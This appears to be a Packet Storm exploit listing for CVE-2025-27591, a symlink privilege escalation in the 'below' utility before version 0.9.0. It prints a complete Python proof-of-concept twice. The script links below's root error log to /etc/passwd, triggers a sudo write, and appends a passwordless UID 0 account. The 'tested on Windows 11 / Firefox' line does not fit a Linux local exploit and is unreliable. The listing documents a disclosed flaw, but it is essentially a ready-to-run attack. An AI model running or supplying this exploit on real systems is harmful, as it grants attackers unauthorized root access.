6.8
/ 10
MEDIUM
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Description
This Python script demonstrates a potential privilege escalation technique related to CVE-2025-27591, leveraging symbolic link symlink manipulation in a logging directory used by the below utility. Versions prior to 0.9.0 are affected...
Basic Information
ID
PACKETSTORM:219373
Published
Apr 21, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Below <v0.9.0 Symlink-Based Privilege Escalation via Log Manipulation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/facebookincubator/below |
==================================================================================================================================
[+] Summary : This Python script demonstrates a potential privilege escalation technique related to CVE-2025-27591, leveraging symbolic link (symlink) manipulation in a logging directory used by the below utility.
[+] POC :
import os
import subprocess
import sys
from pathlib import Path
LOG_DIR = "/var/log/below"
LOG_FILE = os.path.join(LOG_DIR, "error_root.log")
TARGET_FILE = "/etc/passwd"
TMP_PAYLOAD = "/tmp/payload"
FAKE_USER_LINE = "nikolas-trey::0:0:nikolas-trey:/root:/bin/bash\n"
def main():
print("[*] CVE-2025-27591 exploit - Python Version")
try:
with open(TMP_PAYLOAD, 'w') as f:
f.write(FAKE_USER_LINE)
print(f"[+] Payload written to {TMP_PAYLOAD}")
except IOError as e:
print(f"[-] Failed to write payload: {e}")
return
if not os.path.isdir(LOG_DIR):
print(f"[-] Log directory {LOG_DIR} does not exist.")
return
if not os.access(LOG_DIR, os.W_OK):
print(f"[-] Log directory {LOG_DIR} is not writable.")
return
print(f"[+] {LOG_DIR} is writable.")
if os.path.lexists(LOG_FILE):
try:
os.remove(LOG_FILE)
print(f"[+] Removed existing file/symlink: {LOG_FILE}")
except OSError as e:
print(f"[-] Could not remove {LOG_FILE}: {e}")
return
try:
os.symlink(TARGET_FILE, LOG_FILE)
print(f"[+] Symlink created: {LOG_FILE} -> {TARGET_FILE}")
except OSError as e:
print(f"[-] Symlink creation failed: {e}")
return
print("[*] Triggering sudo log write via `below`...")
try:
subprocess.run(
["sudo", "/usr/bin/below", "record"],
timeout=5,
capture_output=True,
text=True
)
except subprocess.TimeoutExpired:
print("[*] 'below' command timed out (expected)")
except Exception as e:
print(f"[*] Note: execution error: {e}")
try:
with open(TMP_PAYLOAD, 'r') as p:
data = p.read()
with open(LOG_FILE, 'a') as target:
target.write(data)
print("[+] Payload appended successfully.")
except PermissionError:
print("[-] Permission Denied.")
except FileNotFoundError:
print("[-] Target file not found (symlink broken).")
except Exception as e:
print(f"[-] Unexpected error: {e}")
print("[*] Done.")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Below <v0.9.0 Symlink-Based Privilege Escalation via Log Manipulation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/facebookincubator/below |
==================================================================================================================================
[+] Summary : This Python script demonstrates a potential privilege escalation technique related to CVE-2025-27591, leveraging symbolic link (symlink) manipulation in a logging directory used by the below utility.
[+] POC :
import os
import subprocess
import sys
from pathlib import Path
LOG_DIR = "/var/log/below"
LOG_FILE = os.path.join(LOG_DIR, "error_root.log")
TARGET_FILE = "/etc/passwd"
TMP_PAYLOAD = "/tmp/payload"
FAKE_USER_LINE = "nikolas-trey::0:0:nikolas-trey:/root:/bin/bash\n"
def main():
print("[*] CVE-2025-27591 exploit - Python Version")
try:
with open(TMP_PAYLOAD, 'w') as f:
f.write(FAKE_USER_LINE)
print(f"[+] Payload written to {TMP_PAYLOAD}")
except IOError as e:
print(f"[-] Failed to write payload: {e}")
return
if not os.path.isdir(LOG_DIR):
print(f"[-] Log directory {LOG_DIR} does not exist.")
return
if not os.access(LOG_DIR, os.W_OK):
print(f"[-] Log directory {LOG_DIR} is not writable.")
return
print(f"[+] {LOG_DIR} is writable.")
if os.path.lexists(LOG_FILE):
try:
os.remove(LOG_FILE)
print(f"[+] Removed existing file/symlink: {LOG_FILE}")
except OSError as e:
print(f"[-] Could not remove {LOG_FILE}: {e}")
return
try:
os.symlink(TARGET_FILE, LOG_FILE)
print(f"[+] Symlink created: {LOG_FILE} -> {TARGET_FILE}")
except OSError as e:
print(f"[-] Symlink creation failed: {e}")
return
print("[*] Triggering sudo log write via `below`...")
try:
subprocess.run(
["sudo", "/usr/bin/below", "record"],
timeout=5,
capture_output=True,
text=True
)
except subprocess.TimeoutExpired:
print("[*] 'below' command timed out (expected)")
except Exception as e:
print(f"[*] Note: execution error: {e}")
try:
with open(TMP_PAYLOAD, 'r') as p:
data = p.read()
with open(LOG_FILE, 'a') as target:
target.write(data)
print("[+] Payload appended successfully.")
except PermissionError:
print("[-] Permission Denied.")
except FileNotFoundError:
print("[-] Target file not found (symlink broken).")
except Exception as e:
print(f"[-] Unexpected error: {e}")
print("[*] Done.")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================